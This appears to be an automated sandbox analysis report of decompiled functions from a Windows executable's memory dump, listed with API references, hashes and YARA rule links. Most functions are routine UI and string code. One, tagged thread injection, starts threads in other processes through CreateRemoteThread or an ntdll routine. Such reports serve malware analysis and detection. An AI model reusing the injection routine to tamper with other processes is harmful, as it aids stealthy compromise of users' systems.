Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction ID: ff9fcce37bd20e8a069aa1bb12297d26d3abb42d57bfe77991e9b0a8e19eae59
Opcode Fuzzy Hash: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction Fuzzy Hash: 2DF04432940718AAEB20AB54DD4EB9B3668DB04754F0041B7BA04B61D2D7B8AE40CEDC

Uniqueness

Uniqueness Score: -1.00%

Function 00409A46, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A46(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				struct HINSTANCE__* _t11;
				struct HINSTANCE__** _t14;
				struct HINSTANCE__* _t15;

				_t14 = __eax;
				if( *((intOrPtr*)(__eax)) == 0) {
					_t11 = E00405436(L"winsta.dll");
					 *_t14 = _t11;
					if(_t11 != 0) {
						_t14[1] = GetProcAddress(_t11, "WinStationGetProcessSid");
					}
				}
				_t15 = _t14[1];
				if(_t15 == 0) {
					return 0;
				} else {
					return _t15->i(0, _a4, _a16, _a20, _a8, _a12);
				}
			}

0x00409a4a
0x00409a4f
0x00409a56
0x00409a5e
0x00409a60
0x00409a6e
0x00409a6e
0x00409a60
0x00409a71
0x00409a76
0x00000000
0x00409a78
0x00000000
0x00409a89

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,WinStationGetProcessSid), ref: 00409A68

Strings

winsta.dll, xrefs: 00409A51
Y@, xrefs: 00409A46
WinStationGetProcessSid, xrefs: 00409A62

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: WinStationGetProcessSid$winsta.dll$Y@
API String ID: 946536540-379566740
Opcode ID: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction ID: f8fd4ca1437852706c932511ef9fc121d1f4ef25cad53c4396aefa54a2cc69ea
Opcode Fuzzy Hash: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction Fuzzy Hash: 4AF08236644219AFCF219FE09C01B977BD5AB08710F00443AF945B21D1D67588509F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040588E, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040588E(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L0040B26C();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L0040B272();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}

0x0040588e
0x0040588f
0x0040588f
0x00405892
0x00405896
0x004058a9
0x004058a9
0x004058ad
0x004058af
0x004058b5
0x004058b6
0x004058b9
0x004058c2
0x004058c3
0x004058c8
0x004058d2
0x004058d4
0x004058d9
0x004058e0
0x004058ea
0x004058ec
0x004058ed
0x004058f2
0x004058f9
0x00405902
0x00405898
0x00405898
0x0040589a
0x0040589c
0x004058a1
0x004058a2
0x004058a5
0x004058a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004058a7
0x00405912
0x00405915
0x0040591e
0x0040591e
0x00405907
0x0040590b

APIs

??2@YAPAXI@Z.MSVCRT ref: 004058C3
memset.MSVCRT ref: 004058D4
memcpy.MSVCRT ref: 004058E0
??3@YAXPAX@Z.MSVCRT ref: 004058ED

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction ID: bfbe461037e943c94cde62efea7f8de8011d206b5eb27adb1998baad11e83e26
Opcode Fuzzy Hash: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction Fuzzy Hash: 9F116A722046019FD328DF2DC881A2BF7E5EFD8300B248C2EE49A97395DB35E801CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACFC, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040ACFC(wchar_t* __esi, char _a4, intOrPtr _a8) {
				void* _v8;
				wchar_t* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				long _v564;
				char* _t18;
				char* _t22;
				wchar_t* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr _t30;
				void* _t35;
				char* _t36;

				_t18 =  &_v8;
				_t30 = 0;
				__imp__SHGetMalloc(_t18);
				if(_t18 >= 0) {
					_v40 = _a4;
					_v28 = _a8;
					_t22 =  &_v40;
					_v36 = 0;
					_v32 = 0;
					_v24 = 4;
					_v20 = E0040AC81;
					_v16 = __esi;
					__imp__SHBrowseForFolderW(_t22, _t35);
					_t36 = _t22;
					if(_t36 != 0) {
						_t23 =  &_v564;
						__imp__SHGetPathFromIDListW(_t36, _t23);
						if(_t23 != 0) {
							_t30 = 1;
							wcscpy(__esi,  &_v564);
						}
						_t24 = _v8;
						 *((intOrPtr*)( *_t24 + 0x14))(_t24, _t36);
						_t26 = _v8;
						 *((intOrPtr*)( *_t26 + 8))(_t26);
					}
				}
				return _t30;
			}

0x0040ad06
0x0040ad0a
0x0040ad0c
0x0040ad14
0x0040ad19
0x0040ad1f
0x0040ad23
0x0040ad27
0x0040ad2a
0x0040ad2d
0x0040ad34
0x0040ad3b
0x0040ad3e
0x0040ad44
0x0040ad48
0x0040ad4a
0x0040ad52
0x0040ad5a
0x0040ad64
0x0040ad65
0x0040ad6b
0x0040ad6c
0x0040ad73
0x0040ad76
0x0040ad7c
0x0040ad7c
0x0040ad7f
0x0040ad84

APIs

SHGetMalloc.SHELL32(?), ref: 0040AD0C
SHBrowseForFolderW.SHELL32(?), ref: 0040AD3E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AD52
wcscpy.MSVCRT ref: 0040AD65

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction ID: e4c3f7e47c5e56e8be22c5f757262c1ae757d72ab7f138bc7c026954c7aa5c2b
Opcode Fuzzy Hash: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction Fuzzy Hash: B011FAB5900208EFDB10EFA9D9889AEB7F8FF48300F10416AE905E7240D738DA05CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00404A44, Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A44(void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				long _v8;
				long _v12;
				long _t13;
				void* _t14;
				struct HWND__* _t24;

				_t24 = GetDlgItem(_a4, _a8);
				_t13 = SendMessageW(_t24, 0x146, 0, 0);
				_v12 = _t13;
				_v8 = 0;
				if(_t13 <= 0) {
					L3:
					_t14 = 0;
				} else {
					while(SendMessageW(_t24, 0x150, _v8, 0) != _a12) {
						_v8 = _v8 + 1;
						if(_v8 < _v12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					SendMessageW(_t24, 0x14e, _v8, 0);
					_t14 = 1;
				}
				L4:
				return _t14;
			}

0x00404a62
0x00404a6a
0x00404a6e
0x00404a71
0x00404a74
0x00404a92
0x00404a92
0x00404a76
0x00404a76
0x00404a87
0x00404a90
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a90
0x00404aa3
0x00404aa7
0x00404aa7
0x00404a94
0x00404a98

APIs

GetDlgItem.USER32 ref: 00404A52
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00404A6A
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00404A80
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00404AA3

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction ID: a803108f18d13bdb161ef9cfeaea96f484be20865a03d7d0c1e8cd60aac843f5
Opcode Fuzzy Hash: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction Fuzzy Hash: 02F01DB1A4010CFEEB018FD59DC1DAF7BBDEB89755F104479F604E6150D2709E41AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004072D8, Relevance: 6.0, APIs: 4, Instructions: 41
filestringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004072D8(void* __ecx, void* __eflags, void* _a4, short* _a8) {
				long _v8;
				void _v8199;
				char _v8200;

				E0040B550(0x2004, __ecx);
				_v8200 = 0;
				memset( &_v8199, 0, 0x1fff);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff,  &_v8200, 0x1fff, 0, 0);
				return WriteFile(_a4,  &_v8200, strlen( &_v8200),  &_v8, 0);
			}

0x004072e0
0x004072f7
0x004072fd
0x00407316
0x00407342

APIs

memset.MSVCRT ref: 004072FD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00407316
strlen.MSVCRT ref: 00407328
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00407339

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction ID: b20814eff52bbcc052d034fa9df9783175f47b69a9638c3bed99c582471ba408
Opcode Fuzzy Hash: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction Fuzzy Hash: E7F0FFB740022CBEEB05A7949DC9DDB776CDB08358F0001B6B715E2192D6749E448BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408DC8, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408DC8(void** __eax, struct HWND__* _a4) {
				int _t7;
				void** _t11;

				_t11 = __eax;
				if( *0x4101b4 == 0) {
					memcpy(0x40f5c8,  *__eax, 0x50);
					memcpy(0x40f2f8,  *(_t11 + 4), 0x2cc);
					 *0x4101b4 = 1;
					_t7 = DialogBoxParamW(GetModuleHandleW(0), 0x6b, _a4, E00408ADB, 0);
					 *0x4101b4 =  *0x4101b4 & 0x00000000;
					 *0x40f2f4 = _t7;
					return 1;
				} else {
					return 1;
				}
			}

0x00408dd0
0x00408dd2
0x00408de2
0x00408df4
0x00408e01
0x00408e1b
0x00408e21
0x00408e28
0x00408e30
0x00408dd4
0x00408dd8
0x00408dd8

APIs

memcpy.MSVCRT ref: 00408DE2
memcpy.MSVCRT ref: 00408DF4
GetModuleHandleW.KERNEL32(00000000), ref: 00408E07
DialogBoxParamW.USER32 ref: 00408E1B

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction ID: 2efff09082e6186f10957894d43819ba35d003f4fc085d6afb87634920226402
Opcode Fuzzy Hash: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction Fuzzy Hash: FAF08231695310BBD7206BA4BE0AB473AA0D700B16F2484BEF241B54E0C7FA04559BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004050E1, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050E1(wchar_t* __edi, wchar_t* _a4) {
				int _t10;
				int _t12;
				void* _t23;
				wchar_t* _t24;
				signed int _t25;

				_t24 = __edi;
				_t25 = wcslen(__edi);
				_t10 = wcslen(_a4);
				_t23 = _t10 + _t25;
				if(_t23 >= 0x3ff) {
					_t12 = _t10 - _t23 + 0x3ff;
					if(_t12 > 0) {
						wcsncat(__edi + _t25 * 2, _a4, _t12);
					}
				} else {
					wcscat(__edi + _t25 * 2, _a4);
				}
				return _t24;
			}

0x004050e1
0x004050ec
0x004050ee
0x004050f5
0x004050ff
0x00405114
0x00405118
0x00405123
0x00405128
0x00405101
0x00405109
0x0040510f
0x0040512e

APIs

wcslen.MSVCRT ref: 004050E3
wcslen.MSVCRT ref: 004050EE
wcscat.MSVCRT ref: 00405109
wcsncat.MSVCRT ref: 00405123

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcslen$wcscatwcsncat
String ID:
API String ID: 291873006-0
Opcode ID: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction ID: d151cadb35ebc04527c95d650d15a6f00d765f1fde14687ca002c1c28d544fc6
Opcode Fuzzy Hash: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction Fuzzy Hash: 3CE0EC36908703AECB042625AC45C6F375DEF84368B50843FF410E6192EF3DD51556DD

Uniqueness

Uniqueness Score: -1.00%

Function 00402DDD, Relevance: 6.0, APIs: 4, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DDD(struct HWND__* __eax, void* __ecx) {
				void* __edi;
				void* __esi;
				struct HWND__* _t11;
				struct HWND__* _t14;
				struct HWND__* _t15;
				void* _t16;

				_t14 = __eax;
				_t16 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				GetClientRect(__eax, __ecx + 0xa14);
				 *(_t16 + 0xa24) =  *(_t16 + 0xa24) & 0x00000000;
				_t15 = GetWindow(GetWindow(_t14, 5), 0);
				do {
					E00402D99(_t15, _t16);
					_t11 = GetWindow(_t15, 2);
					_t15 = _t11;
				} while (_t15 != 0);
				return _t11;
			}

0x00402de0
0x00402de2
0x00402dec
0x00402def
0x00402dfb
0x00402e0c
0x00402e0e
0x00402e0e
0x00402e16
0x00402e18
0x00402e1a
0x00402e21

APIs

GetClientRect.USER32 ref: 00402DEF
GetWindow.USER32(?,00000005), ref: 00402E07
GetWindow.USER32(00000000), ref: 00402E0A

Part of subcall function 00402D99: GetWindowRect.USER32 ref: 00402DA8
Part of subcall function 00402D99: MapWindowPoints.USER32 ref: 00402DC3

GetWindow.USER32(00000000,00000002), ref: 00402E16

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientPoints
String ID:
API String ID: 4235085887-0
Opcode ID: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction ID: 77c271d885eafffee951e9f606c1c6e1ef1898ae553cc6e200c9330dee891b18
Opcode Fuzzy Hash: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction Fuzzy Hash: B8E092722407006BE22197398DC9FABB2EC9FC9761F11053EF504E7280DBB8DC014669

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A6, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B6A6() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x41c458;
				if(_t1 != 0) {
					_push(_t1);
					L0040B272();
				}
				_t2 =  *0x41c460;
				if(_t2 != 0) {
					_push(_t2);
					L0040B272();
				}
				_t3 =  *0x41c45c;
				if(_t3 != 0) {
					_push(_t3);
					L0040B272();
				}
				_t4 =  *0x41c464;
				if(_t4 != 0) {
					_push(_t4);
					L0040B272();
					return _t4;
				}
				return _t4;
			}

0x0040b6a6
0x0040b6ad
0x0040b6af
0x0040b6b0
0x0040b6b5
0x0040b6b6
0x0040b6bd
0x0040b6bf
0x0040b6c0
0x0040b6c5
0x0040b6c6
0x0040b6cd
0x0040b6cf
0x0040b6d0
0x0040b6d5
0x0040b6d6
0x0040b6dd
0x0040b6df
0x0040b6e0
0x00000000
0x0040b6e5
0x0040b6e6

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040B6B0
??3@YAXPAX@Z.MSVCRT ref: 0040B6C0
??3@YAXPAX@Z.MSVCRT ref: 0040B6D0
??3@YAXPAX@Z.MSVCRT ref: 0040B6E0

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction ID: 3bd5cb9a150004800b4bedd87e83f43d671674f7d7a0a5890c52a9af046e0154
Opcode Fuzzy Hash: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction Fuzzy Hash: 96E00261B8820196DD249A7AACD5D6B239C9A05794314847EF804E72E5DF39D44045ED

Uniqueness

Uniqueness Score: -1.00%

Function 00407362, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407362(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				wchar_t* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				void* __edi;
				signed int _t39;
				wchar_t* _t41;
				signed int _t45;
				signed int _t48;
				wchar_t* _t53;
				wchar_t* _t62;
				void* _t66;
				intOrPtr* _t68;
				void* _t70;
				wchar_t* _t75;
				wchar_t* _t79;

				_t66 = __ebx;
				_t75 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t39 =  *( *((intOrPtr*)(_t66 + 0x30)) + _v8 * 4);
						_t68 = _a8;
						if(_t68 != _t75) {
							_t79 =  *((intOrPtr*)( *_t68))(_t39,  *((intOrPtr*)(_t66 + 0x60)));
						} else {
							_t79 =  *( *((intOrPtr*)(_t66 + 0x2d4)) + 0x10 + _t39 * 0x14);
						}
						_t41 = wcschr(_t79, 0x2c);
						_pop(_t70);
						if(_t41 != 0) {
							L8:
							_v20 = _t75;
							_v28 = _t75;
							_v36 = _t75;
							_v24 = 0x100;
							_v32 = 1;
							_v16 = 0x22;
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							while(1) {
								_t45 =  *_t79 & 0x0000ffff;
								__eflags = _t45;
								_v12 = _t45;
								_t77 =  &_v36;
								if(__eflags == 0) {
									break;
								}
								__eflags = _t45 - 0x22;
								if(__eflags != 0) {
									_push( &_v12);
									_t48 = 1;
									__eflags = 1;
								} else {
									_push(L"\"\"");
									_t48 = _t45 | 0xffffffff;
								}
								E0040565D(_t48, _t70, _t77, __eflags);
								_t79 =  &(_t79[0]);
								__eflags = _t79;
							}
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							_t53 = _v20;
							__eflags = _t53;
							if(_t53 == 0) {
								_t53 = 0x40c4e8;
							}
							E004055D1(E00407343(_t66, _a4, _t53),  &_v36);
							_t75 = 0;
							__eflags = 0;
						} else {
							_t62 = wcschr(_t79, 0x22);
							_pop(_t70);
							if(_t62 != 0) {
								goto L8;
							} else {
								E00407343(_t66, _a4, _t79);
							}
						}
						if(_v8 <  *((intOrPtr*)(_t66 + 0x2c)) - 1) {
							E00407343(_t66, _a4, ",");
						}
						_v8 = _v8 + 1;
					} while (_v8 <  *((intOrPtr*)(_t66 + 0x2c)));
				}
				return E00407343(_t66, _a4, L"\r\n");
			}

0x00407362
0x00407369
0x0040736e
0x00407371
0x00407378
0x0040737e
0x00407381
0x00407386
0x0040739f
0x00407388
0x00407391
0x00407391
0x004073a4
0x004073ac
0x004073ad
0x004073cd
0x004073d0
0x004073d3
0x004073d6
0x004073e0
0x004073e7
0x004073ee
0x004073f5
0x0040741a
0x0040741a
0x0040741d
0x00407420
0x00407423
0x00407426
0x00000000
0x00000000
0x004073fc
0x00407400
0x0040740f
0x00407412
0x00407412
0x00407402
0x00407402
0x00407407
0x00407407
0x00407413
0x00407419
0x00407419
0x00407419
0x0040742f
0x00407434
0x00407437
0x00407439
0x0040743b
0x0040743b
0x0040744e
0x00407453
0x00407453
0x004073af
0x004073b2
0x004073ba
0x004073bb
0x00000000
0x004073bd
0x004073c3
0x004073c3
0x004073bb
0x0040745c
0x00407468
0x00407468
0x0040746d
0x00407473
0x0040747c
0x0040748e

APIs

wcschr.MSVCRT ref: 004073A4
wcschr.MSVCRT ref: 004073B2

Part of subcall function 0040565D: wcslen.MSVCRT ref: 00405679
Part of subcall function 0040565D: memcpy.MSVCRT ref: 0040569D

Strings

", xrefs: 004073EE

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction ID: 00b3f0686b04e7c82e40785714242b478475f00d1c6093d835cc4068bab83974
Opcode Fuzzy Hash: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction Fuzzy Hash: 4E315F31E04208ABDF10EFA5C8819AE7BB9EF54314F20457BEC50B72C2D778AA41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A272, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A272(struct HINSTANCE__** __eax, void* _a4, _Unknown_base(*)()* _a8, void* _a12, DWORD* _a16) {
				void* _v8;
				char _v12;
				char* _v20;
				long _v24;
				intOrPtr _v28;
				char* _v36;
				signed int _v40;
				void _v44;
				char _v48;
				char _v52;
				struct _OSVERSIONINFOW _v328;
				void* __esi;
				signed int _t40;
				intOrPtr* _t44;
				void* _t49;
				struct HINSTANCE__** _t54;
				signed int _t55;

				_t54 = __eax;
				_v328.dwOSVersionInfoSize = 0x114;
				GetVersionExW( &_v328);
				if(_v328.dwMajorVersion < 6) {
					return CreateRemoteThread(_a4, 0, 0, _a8, _a12, 4, _a16);
				}
				E0040A1EF(_t54);
				_t44 =  *((intOrPtr*)(_t54 + 4));
				if(_t44 != 0) {
					_t55 = 8;
					memset( &_v44, 0, _t55 << 2);
					_v12 = 0;
					asm("stosd");
					_v36 =  &_v12;
					_v20 =  &_v52;
					_v48 = 0x24;
					_v44 = 0x10003;
					_v40 = _t55;
					_v28 = 0x10004;
					_v24 = 4;
					_a16 = 0;
					_t40 =  *_t44( &_a16, 0x1fffff, 0, _a4, _a8, _a12, 1, 0, 0, 0,  &_v48, _t49);
					asm("sbb eax, eax");
					return  !( ~_t40) & _a16;
				}
				return 0;
			}

0x0040a27d
0x0040a286
0x0040a290
0x0040a29d
0x00000000
0x0040a32f
0x0040a29f
0x0040a2a4
0x0040a2ad
0x0040a2b6
0x0040a2bc
0x0040a2be
0x0040a2c4
0x0040a2c8
0x0040a2ce
0x0040a2e3
0x0040a2ed
0x0040a2fb
0x0040a2fe
0x0040a305
0x0040a30c
0x0040a30f
0x0040a313
0x00000000
0x0040a31a
0x0040a338

APIs

GetVersionExW.KERNEL32(?,751468A0,00000000), ref: 0040A290
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000004,?), ref: 0040A32F

Part of subcall function 0040A1EF: LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
Part of subcall function 0040A1EF: GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

$, xrefs: 0040A2E3

Memory Dump Source

